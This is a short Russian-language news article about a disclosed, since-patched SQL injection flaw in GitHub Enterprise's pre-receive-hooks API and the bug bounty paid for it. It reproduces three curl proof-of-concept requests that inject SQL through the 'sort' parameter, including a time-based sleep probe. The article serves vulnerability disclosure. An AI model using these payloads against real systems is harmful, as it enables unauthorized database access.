Уязвимости, позволяющие осуществить SQL инъекцию, можно найти даже в приложениях таких серьезных поставщиков как GitHub.

 

В конце прошлого года была обнаружена уязвимость в GitHub Enterprise, варианте GitHub для предприятий. Публичный сервис GitHub.com предоставляет хостинг для проектов с использованием системы контроля версий git. GitHub Enterprise позволяет развернуть окружение для совместной разработки внутри корпоративной сети на подконтрольном оборудовании. Уязвимость давала возможность осуществить SQL-инъекцию посредством отправки специально оформленного запроса.

 

В описании уязвимости было подробно рассказано об организации работы кода GitHub Enterprise, который имеет много общего с кодом веб-хостинга GitHub. Образ виртуальной машины доступен для скачивания и бесплатного пробного использования в течение 45 дней. Исходный код скрыт и поставляется в упакованном виде. В момент выполнения осуществляется прозрачная распаковка. После распаковки было выявлено, что код в основном написан на Ruby с использованием фреймворков Ruby on Rails и Sinatra, а также применяются компоненты на Python, C++, Bourne Shell и Java.

 

Всего на получение доступа к коду, анализ потенциальных проблем и выявление уязвимости у исследователя ушло 6 дней. В результате была обнаружена проблема в обработчике PreReceiveHookTarget. Внедрение SQL-кода можно было произвести посредством передачи специально оформленных данных через параметр “sort” при отправлении запроса к общедоступному Web API.



$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????
&sort=id,(select+1+from+information_schema.tables+limit+1,1)'

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????
&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
"message": "Server Error",
"documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????
&sort=id,if(user()="github@localhost",sleep(5),user())'

 

О проблеме было сообщено в декабре, после чего GitHub устранил уязвимость в версии GitHub Enterprise 2.8.5. Исследователь, выявивший проблему, получил денежное вознаграждение в размере 5 тысяч долларов США.

 

Программа поощрения за обнаружение уязвимостей была запущена администрацией GitHub три года назад. За это время более ста исследователей получили вознаграждение и в общей сложности было выплачено более 100 тысяч долларов США.

Комментарии